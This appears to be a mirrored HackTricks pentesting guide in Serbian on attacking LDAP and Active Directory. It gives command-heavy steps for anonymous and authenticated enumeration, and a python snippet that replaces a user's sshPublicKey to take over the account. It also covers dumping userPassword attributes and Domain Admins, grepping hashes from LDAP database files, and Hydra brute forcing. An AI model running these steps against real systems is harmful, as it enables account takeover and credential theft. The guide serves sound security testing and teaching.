mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
382 lines
16 KiB
Markdown
382 lines
16 KiB
Markdown
# 389, 636, 3268, 3269 - Pentesting LDAP
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
Korišćenje **LDAP** (Lightweight Directory Access Protocol) je prvenstveno za lociranje raznih entiteta kao što su organizacije, pojedinci i resursi poput fajlova i uređaja unutar mreža, kako javnih tako i privatnih. Pruža pojednostavljen pristup u poređenju sa svojim prethodnikom, DAP, imajući manji kodni otisak.
|
|
|
|
LDAP direktorijumi su strukturirani da omoguće njihovu distribuciju preko više servera, pri čemu svaki server sadrži **repliciranu** i **sinhronizovanu** verziju direktorijuma, koja se naziva Directory System Agent (DSA). Odgovornost za obradu zahteva leži isključivo na LDAP serveru, koji može komunicirati sa drugim DSA-ima po potrebi kako bi pružio jedinstven odgovor tražiocu.
|
|
|
|
Organizacija LDAP direktorijuma podseća na **stablo hijerarhije, počinjući od korenskog direktorijuma na vrhu**. Ovo se grana prema državama, koje se dalje dele na organizacije, a zatim na organizacione jedinice koje predstavljaju razne divizije ili odeljenja, konačno dostižući nivo pojedinačnih entiteta, uključujući i ljude i deljene resurse poput fajlova i štampača.
|
|
|
|
**Podrazumevani port:** 389 i 636(ldaps). Globalni katalog (LDAP u ActiveDirectory) je dostupan po defaultu na portovima 3268 i 3269 za LDAPS.
|
|
```
|
|
PORT STATE SERVICE REASON
|
|
389/tcp open ldap syn-ack
|
|
636/tcp open tcpwrapped
|
|
```
|
|
### LDAP Data Interchange Format
|
|
|
|
LDIF (LDAP Data Interchange Format) definiše sadržaj direktorijuma kao skup zapisa. Takođe može predstavljati zahteve za ažuriranje (Dodaj, Izmeni, Obriši, Preimenuj).
|
|
```bash
|
|
dn: dc=local
|
|
dc: local
|
|
objectClass: dcObject
|
|
|
|
dn: dc=moneycorp,dc=local
|
|
dc: moneycorp
|
|
objectClass: dcObject
|
|
objectClass: organization
|
|
|
|
dn ou=it,dc=moneycorp,dc=local
|
|
objectClass: organizationalUnit
|
|
ou: dev
|
|
|
|
dn: ou=marketing,dc=moneycorp,dc=local
|
|
objectClass: organizationalUnit
|
|
Ou: sales
|
|
|
|
dn: cn= ,ou= ,dc=moneycorp,dc=local
|
|
objectClass: personalData
|
|
cn:
|
|
sn:
|
|
gn:
|
|
uid:
|
|
ou:
|
|
mail: pepe@hacktricks.xyz
|
|
phone: 23627387495
|
|
```
|
|
- Linije 1-3 definišu najviši nivo domena local
|
|
- Linije 5-8 definišu prvi nivo domena moneycorp (moneycorp.local)
|
|
- Linije 10-16 definišu 2 organizacione jedinice: dev i sales
|
|
- Linije 18-26 kreiraju objekat domena i dodeljuju atribute sa vrednostima
|
|
|
|
## Write data
|
|
|
|
Imajte na umu da ako možete da modifikujete vrednosti, mogli biste da izvršite zaista zanimljive akcije. Na primer, zamislite da **možete promeniti informacije o "sshPublicKey"** vašeg korisnika ili bilo kog korisnika. Veoma je verovatno da ako ovaj atribut postoji, onda **ssh čita javne ključeve iz LDAP-a**. Ako možete da modifikujete javni ključ korisnika, **moći ćete da se prijavite kao taj korisnik čak i ako autentifikacija lozinkom nije omogućena u ssh**.
|
|
```bash
|
|
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
|
>>> import ldap3
|
|
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
|
|
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
|
|
>>> connection.bind()
|
|
True
|
|
>>> connection.extend.standard.who_am_i()
|
|
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
|
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
|
|
```
|
|
## Sniff clear text credentials
|
|
|
|
Ako se LDAP koristi bez SSL-a, možete **snimati kredencijale u čistom tekstu** u mreži.
|
|
|
|
Takođe, možete izvršiti **MITM** napad u mreži **između LDAP servera i klijenta.** Ovde možete napraviti **Downgrade Attack** tako da klijent koristi **kredencijale u čistom tekstu** za prijavu.
|
|
|
|
**Ako se koristi SSL** možete pokušati da napravite **MITM** kao što je pomenuto iznad, ali nudeći **lažni sertifikat**, ako **korisnik to prihvati**, možete smanjiti metodu autentifikacije i ponovo videti kredencijale.
|
|
|
|
## Anonymous Access
|
|
|
|
### Bypass TLS SNI check
|
|
|
|
Prema [**ovoj analizi**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) samo pristupanjem LDAP serveru sa proizvoljnim imenom domena (kao što je company.com) mogao je da kontaktira LDAP servis i izvuče informacije kao anonimni korisnik:
|
|
```bash
|
|
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
|
```
|
|
### LDAP anonimni vezovi
|
|
|
|
[LDAP anonimni vezovi](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) omogućavaju **neautentifikovanim napadačima** da preuzmu informacije iz domena, kao što su potpuni spisak korisnika, grupa, računara, atributa korisničkih naloga i politika lozinki domena. Ovo je **nasleđena konfiguracija**, i od Windows Server 2003, samo autentifikovani korisnici su dozvoljeni da pokreću LDAP zahteve.\
|
|
Međutim, administratori su možda morali da **konfigurišu određenu aplikaciju da dozvoli anonimne vezove** i dali više pristupa nego što je bilo predviđeno, čime su neautentifikovanim korisnicima omogućili pristup svim objektima u AD.
|
|
|
|
## Validne kredencijale
|
|
|
|
Ako imate validne kredencijale za prijavu na LDAP server, možete izvući sve informacije o Domenskom Administratoru koristeći:
|
|
|
|
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
|
```bash
|
|
pip3 install ldapdomaindump
|
|
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
|
|
```
|
|
### [Brute Force](../generic-hacking/brute-force.md#ldap)
|
|
|
|
## Enumeration
|
|
|
|
### Automated
|
|
|
|
Korišćenjem ovoga bićete u mogućnosti da vidite **javne informacije** (kao što je naziv domena)**:**
|
|
```bash
|
|
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
|
```
|
|
### Python
|
|
|
|
<details>
|
|
|
|
<summary>Vidi LDAP enumeraciju sa python-om</summary>
|
|
|
|
Možete pokušati da **enumerišete LDAP sa ili bez kredencijala koristeći python**: `pip3 install ldap3`
|
|
|
|
Prvo pokušajte da **se povežete bez** kredencijala:
|
|
```bash
|
|
>>> import ldap3
|
|
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
|
|
>>> connection = ldap3.Connection(server)
|
|
>>> connection.bind()
|
|
True
|
|
>>> server.info
|
|
```
|
|
Ako je odgovor `True`, kao u prethodnom primeru, možete dobiti neke **zanimljive podatke** sa LDAP-a (kao što su **naming context** ili **domain name**) servera sa:
|
|
```bash
|
|
>>> server.info
|
|
DSA info (from DSE):
|
|
Supported LDAP versions: 3
|
|
Naming contexts:
|
|
dc=DOMAIN,dc=DOMAIN
|
|
```
|
|
Kada imate kontekst imenovanja, možete postaviti još uzbudljivije upite. Ovaj jednostavni upit bi trebao da vam prikaže sve objekte u direktorijumu:
|
|
```bash
|
|
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
|
True
|
|
>> connection.entries
|
|
```
|
|
Ili **dump**-ujte ceo ldap:
|
|
```bash
|
|
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
|
True
|
|
>>> connection.entries
|
|
```
|
|
</details>
|
|
|
|
### windapsearch
|
|
|
|
[**Windapsearch**](https://github.com/ropnop/windapsearch) je Python skripta koja je korisna za **enumeraciju korisnika, grupa i računara iz Windows** domena koristeći LDAP upite.
|
|
```bash
|
|
# Get computers
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
|
# Get groups
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
|
|
# Get users
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
|
|
# Get Domain Admins
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
|
|
# Get Privileged Users
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
|
|
```
|
|
### ldapsearch
|
|
|
|
Proverite null kredencijale ili da li su vaše kredencijale validne:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
|
|
```bash
|
|
# CREDENTIALS NOT VALID RESPONSE
|
|
search: 2
|
|
result: 1 Operations error
|
|
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
|
tion a successful bind must be completed on the connection., data 0, v3839
|
|
```
|
|
Ako pronađete nešto što kaže da "_bind mora biti završen_" to znači da su akreditivi netačni.
|
|
|
|
Možete izvući **sve iz domena** koristeći:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
-x Simple Authentication
|
|
-H LDAP Server
|
|
-D My User
|
|
-w My password
|
|
-b Base site, all data from here will be given
|
|
```
|
|
Izvuci **korisnike**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
|
```
|
|
Izvuci **računare**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Izvuci **moje informacije**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Izvuci **Domain Admins**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Izvuci **Domain Users**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Izvuci **Enterprise Admins**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Izvuci **Administratore**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Izvuci **Remote Desktop Group**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Da biste proverili da li imate pristup bilo kojoj lozinki, možete koristiti grep nakon izvršavanja jednog od upita:
|
|
```bash
|
|
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
|
```
|
|
Molimo vas, imajte na umu da lozinke koje ovde možete pronaći možda nisu prave...
|
|
|
|
#### pbis
|
|
|
|
Možete preuzeti **pbis** odavde: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) i obično se instalira u `/opt/pbis`.\
|
|
**Pbis** vam omogućava da lako dobijete osnovne informacije:
|
|
```bash
|
|
#Read keytab file
|
|
./klist -k /etc/krb5.keytab
|
|
|
|
#Get known domains info
|
|
./get-status
|
|
./lsa get-status
|
|
|
|
#Get basic metrics
|
|
./get-metrics
|
|
./lsa get-metrics
|
|
|
|
#Get users
|
|
./enum-users
|
|
./lsa enum-users
|
|
|
|
#Get groups
|
|
./enum-groups
|
|
./lsa enum-groups
|
|
|
|
#Get all kind of objects
|
|
./enum-objects
|
|
./lsa enum-objects
|
|
|
|
#Get groups of a user
|
|
./list-groups-for-user <username>
|
|
./lsa list-groups-for-user <username>
|
|
#Get groups of each user
|
|
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
|
|
|
#Get users of a group
|
|
./enum-members --by-name "domain admins"
|
|
./lsa enum-members --by-name "domain admins"
|
|
#Get users of each group
|
|
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
|
|
|
#Get description of each user
|
|
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
|
|
echo "$line";
|
|
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
|
|
echo "======================"
|
|
done
|
|
```
|
|
## Grafički Interfejs
|
|
|
|
### Apache Directory
|
|
|
|
[**Preuzmite Apache Directory odavde**](https://directory.apache.org/studio/download/download-linux.html). Možete pronaći [primer kako koristiti ovaj alat ovde](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
|
|
|
|
### jxplorer
|
|
|
|
Možete preuzeti grafički interfejs sa LDAP serverom ovde: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
|
|
|
Podrazumevano je instaliran u: _/opt/jxplorer_
|
|
|
|
.png>)
|
|
|
|
### Godap
|
|
|
|
Godap je interaktivni terminalski korisnički interfejs za LDAP koji se može koristiti za interakciju sa objektima i atributima u AD i drugim LDAP serverima. Dostupan je za Windows, Linux i MacOS i podržava jednostavne veze, pass-the-hash, pass-the-ticket i pass-the-cert, zajedno sa nekoliko drugih specijalizovanih funkcija kao što su pretraga/kreiranje/promena/brisanje objekata, dodavanje/uklanjanje korisnika iz grupa, promena lozinki, uređivanje dozvola objekata (DACLs), modifikovanje Active-Directory Integrated DNS (ADIDNS), izvoz u JSON datoteke, itd.
|
|
|
|

|
|
|
|
Možete mu pristupiti na [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Za primere korišćenja i uputstva pročitajte [Wiki](https://github.com/Macmod/godap/wiki).
|
|
|
|
### Ldapx
|
|
|
|
Ldapx je fleksibilni LDAP proxy koji se može koristiti za inspekciju i transformaciju LDAP saobraćaja iz drugih alata. Može se koristiti za obfuscation LDAP saobraćaja kako bi se pokušalo zaobići zaštitu identiteta i alate za praćenje LDAP-a i implementira većinu metoda predstavljenih u [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) predavanju.
|
|
|
|

|
|
|
|
Možete ga preuzeti sa [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx).
|
|
|
|
## Autentifikacija putem kerberos
|
|
|
|
Korišćenjem `ldapsearch` možete **autentifikovati** se protiv **kerberos umesto** putem **NTLM** koristeći parametar `-Y GSSAPI`
|
|
|
|
## POST
|
|
|
|
Ako možete pristupiti datotekama gde se nalaze baze podataka (mogu biti u _/var/lib/ldap_). Možete izvući hešove koristeći:
|
|
```bash
|
|
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
|
```
|
|
Možete nahraniti john sa hash-om lozinke (od '{SSHA}' do 'structural' bez dodavanja 'structural').
|
|
|
|
### Konfiguracione datoteke
|
|
|
|
- General
|
|
- containers.ldif
|
|
- ldap.cfg
|
|
- ldap.conf
|
|
- ldap.xml
|
|
- ldap-config.xml
|
|
- ldap-realm.xml
|
|
- slapd.conf
|
|
- IBM SecureWay V3 server
|
|
- V3.sas.oc
|
|
- Microsoft Active Directory server
|
|
- msadClassesAttrs.ldif
|
|
- Netscape Directory Server 4
|
|
- nsslapd.sas_at.conf
|
|
- nsslapd.sas_oc.conf
|
|
- OpenLDAP directory server
|
|
- slapd.sas_at.conf
|
|
- slapd.sas_oc.conf
|
|
- Sun ONE Directory Server 5.1
|
|
- 75sas.ldif
|
|
|
|
## HackTricks Automatske Komande
|
|
```
|
|
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
|
|
Port_Number: 389,636 #Comma separated if there is more than one.
|
|
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
|
|
|
|
Entry_1:
|
|
Name: Notes
|
|
Description: Notes for LDAP
|
|
Note: |
|
|
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
|
|
|
|
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
|
|
|
|
Entry_2:
|
|
Name: Banner Grab
|
|
Description: Grab LDAP Banner
|
|
Command: nmap -p 389 --script ldap-search -Pn {IP}
|
|
|
|
Entry_3:
|
|
Name: LdapSearch
|
|
Description: Base LdapSearch
|
|
Command: ldapsearch -H ldap://{IP} -x
|
|
|
|
Entry_4:
|
|
Name: LdapSearch Naming Context Dump
|
|
Description: Attempt to get LDAP Naming Context
|
|
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
|
|
|
|
Entry_5:
|
|
Name: LdapSearch Big Dump
|
|
Description: Need Naming Context to do big dump
|
|
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
|
|
|
|
Entry_6:
|
|
Name: Hydra Brute Force
|
|
Description: Need User
|
|
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
|
|
|
|
Entry_7:
|
|
Name: Netexec LDAP BloodHound
|
|
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
|
|
```
|
|
{{#include ../banners/hacktricks-training.md}}
|